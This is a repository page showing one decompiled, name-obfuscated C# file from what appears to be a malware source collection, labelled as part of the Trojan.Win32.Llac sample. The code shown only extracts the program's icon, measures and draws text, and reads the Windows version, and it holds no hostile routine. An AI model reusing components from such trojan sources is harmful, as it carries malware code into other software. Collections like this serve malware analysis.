MalwareSourceCode/MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0005/_0002.cs

141 lines
3.7 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
using \u0005;
using System;
using System.Drawing;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace \u0005
{
internal sealed class \u0002
{
[DllImport("shell32", EntryPoint = "ExtractIconEx")]
private static extern int \u0003([In] string obj0, [In] int obj1, [In] ref int obj2, [In] ref int obj3, [In] int obj4);
[DllImport("user32", EntryPoint = "DrawText", CharSet = CharSet.Unicode)]
private static extern int \u0003(
[In] IntPtr obj0,
[In] string obj1,
[In] int obj2,
[In] ref \u0002.\u0001 obj3,
[In] int obj4);
[DllImport("gdi32.dll", EntryPoint = "SelectObject")]
private static extern IntPtr \u0003([In] IntPtr obj0, [In] IntPtr obj1);
[DllImport("kernel32.Dll", EntryPoint = "GetVersionEx")]
private static extern short \u0003([In] ref \u0002.\u0002 obj0);
public static Icon \u0003()
{
try
{
return \u0002.\u0004();
}
catch (Exception ex)
{
return \u0005.\u0005.\u0003("default");
}
}
private static Icon \u0004()
{
int num1 = 0;
int num2 = 0;
if (\u0002.\u0003(Application.ExecutablePath, -1, ref num2, ref num2, 1) > 0)
{
\u0002.\u0003(Application.ExecutablePath, 0, ref num1, ref num2, 1);
if (num1 != 0)
return Icon.FromHandle(new IntPtr(num1));
}
return (Icon) null;
}
internal static string \u0003()
{
try
{
return \u0002.\u0004();
}
catch (Exception ex)
{
return string.Empty;
}
}
private static string \u0004()
{
\u0002.\u0002 obj = new \u0002.\u0002();
obj.\u0001 = Marshal.SizeOf(typeof (\u0002.\u0002));
int num = (int) \u0002.\u0003(ref obj);
return obj.\u0001;
}
internal static int \u0003([In] Graphics obj0, [In] string obj1, [In] Font obj2, [In] int obj3)
{
try
{
return \u0002.\u0005(obj0, obj1, obj2, obj3);
}
catch (Exception ex1)
{
try
{
return Convert.ToInt32((double) \u0002.\u0004(obj0, obj1, obj2, obj3) * 1.1);
}
catch (Exception ex2)
{
}
}
return 0;
}
private static int \u0004([In] Graphics obj0, [In] string obj1, [In] Font obj2, [In] int obj3) => Size.Ceiling(obj0.MeasureString(obj1, obj2, obj3)).Height;
private static int \u0005([In] Graphics obj0, [In] string obj1, [In] Font obj2, [In] int obj3)
{
\u0002.\u0001 obj = new \u0002.\u0001(new Rectangle(0, 0, obj3, 10000));
int num1 = 3088;
IntPtr hdc = obj0.GetHdc();
IntPtr hfont = obj2.ToHfont();
IntPtr num2 = \u0002.\u0003(hdc, hfont);
\u0002.\u0003(hdc, obj1, -1, ref obj, num1);
\u0002.\u0003(hdc, num2);
obj0.ReleaseHdc(hdc);
return obj.\u0004 - obj.\u0002;
}
private struct \u0001
{
public int \u0001;
public int \u0002;
public int \u0003;
public int \u0004;
public \u0001([In] Rectangle obj0)
{
this.\u0001 = obj0.Left;
this.\u0002 = obj0.Top;
this.\u0004 = obj0.Bottom;
this.\u0003 = obj0.Right;
}
}
private struct \u0002
{
public int \u0001;
public int \u0002;
public int \u0003;
public int \u0004;
public int \u0005;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
public string \u0001;
}
}
}